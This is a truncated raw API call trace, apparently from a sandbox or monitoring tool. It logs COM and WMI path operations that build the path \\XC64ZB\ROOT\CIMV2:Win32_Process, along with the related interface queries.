[0117.510] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x2 [0117.510] WbemDefPath:IWbemPath:SetText (This=0x1b4afe20, uMode=0x4, pszPath="") returned 0x0 [0117.510] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afe20, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0117.510] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aef20, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0117.510] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4afe20, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0117.510] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4afe20, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0117.510] WbemDefPath:IWbemPath:SetServer (This=0x1b4afe20, Name="XC64ZB") returned 0x0 [0117.510] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0117.510] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0117.511] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0117.511] IUnknown:Release (This=0x6124e8) returned 0x1 [0117.511] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2980) returned 0x0 [0117.512] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2980, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0117.512] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2980, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b0120) returned 0x0 [0117.512] WbemDefPath:IUnknown:Release (This=0x1b4d2980) returned 0x0 [0117.512] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b0120) returned 0x0 [0117.512] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0117.512] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0117.512] WbemDefPath:IUnknown:AddRef (This=0x1b4b0120) returned 0x3 [0117.512] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0117.512] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0117.512] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2e40) returned 0x0 [0117.513] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2e40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0117.513] WbemDefPath:IUnknown:Release (This=0x1b4d2e40) returned 0x3 [0117.513] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0117.513] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0117.513] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0117.513] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x2 [0117.513] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x1 [0117.513] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0117.513] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0117.513] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b0120) returned 0x0 [0117.513] WbemDefPath:IUnknown:AddRef (This=0x1b4b0120) returned 0x3 [0117.513] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x2 [0117.513] WbemDefPath:IWbemPath:SetText (This=0x1b4b0120, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0117.513] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afe20, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0117.513] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0120, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0117.513] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0120, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0117.513] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0120, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0117.514] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4afe20) returned 0x0 [0117.514] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0120, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0117.514] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0120, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0117.514] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0120, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0117.514] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4afe20, uIndex=0x0, pszName="ROOT") returned 0x0 [0117.514] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0120, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0117.514] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0120, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0117.514] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4afe20, uIndex=0x1, pszName="CIMV2") returned 0x0 [0117.514] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4afe20, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0117.514] WbemDefPath:IWbemPath:SetClassName (This=0x1b4afe20, Name="Win32_Process") returned 0x0 [0117.514] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4afe20, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0117.514] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afe20, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0117.514] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afe20, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0117.514] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afe20, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0117.514] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4afe20, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0117.514] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afe20, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0117.514] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afe20, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0117.514] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afe20, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0117.514] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ab0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0117.514] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0117.514] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0117.514] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afe20, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0117.515] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afe20, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0117.515] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0117.515] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0117.515] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0117.515] IUnknown:Release (This=0x6124e8) returned 0x1 [0117.516] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b4d29e0) returned 0x0 [0117.516] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d29e0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0117.516] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d29e0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x1b4b05a0) returned 0x0 [0117.516] WbemDefPath:IUnknown:Release (This=0x1b4d29e0) returned 0x0 [0117.516] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x1b4b05a0) returned 0x0 [0117.516] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0117.516] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0117.516] WbemDefPath:IUnknown:AddRef (This=0x1b4b05a0) returned 0x3 [0117.516] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0117.516] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0117.516] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b4d2a80) returned 0x0 [0117.516] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2a80, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0117.516] WbemDefPath:IUnknown:Release (This=0x1b4d2a80) returned 0x3 [0117.516] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0117.517] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0117.517] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0117.517] WbemDefPath:IUnknown:Release (This=0x1b4b05a0) returned 0x2 [0117.517] WbemDefPath:IUnknown:Release (This=0x1b4b05a0) returned 0x1 [0117.517] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0117.517] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0117.517] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x1b4b05a0) returned 0x0 [0117.517] WbemDefPath:IUnknown:AddRef (This=0x1b4b05a0) returned 0x3 [0117.517] WbemDefPath:IUnknown:Release (This=0x1b4b05a0) returned 0x2 [0117.517] WbemDefPath:IWbemPath:SetText (This=0x1b4b05a0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0117.517] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ab0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0117.517] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0117.517] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0117.517] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0117.517] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0117.517] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0117.518] IUnknown:Release (This=0x6124e8) returned 0x1 [0117.518] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d3280) returned 0x0 [0117.518] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d3280, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0117.518] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d3280, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b0060) returned 0x0 [0117.519] WbemDefPath:IUnknown:Release (This=0x1b4d3280) returned 0x0 [0117.519] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b0060) returned 0x0 [0117.519] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0117.519] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0117.519] WbemDefPath:IUnknown:AddRef (This=0x1b4b0060) returned 0x3 [0117.519] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0117.519] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0117.519] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d3260) returned 0x0 [0117.519] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d3260, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0117.519] WbemDefPath:IUnknown:Release (This=0x1b4d3260) returned 0x3 [0117.519] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0117.519] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0117.519] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0117.520] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x2 [0117.520] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x1 [0117.520] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0117.520] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0117.520] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b0060) returned 0x0 [0117.520] WbemDefPath:IUnknown:AddRef (This=0x1b4b0060) returned 0x3 [0117.520] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x2 [0117.520] WbemDefPath:IWbemPath:SetText (This=0x1b4b0060, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0117.520] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b05a0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0117.520] WbemDefPath:IWbemPath:GetNamespaceCount (in: 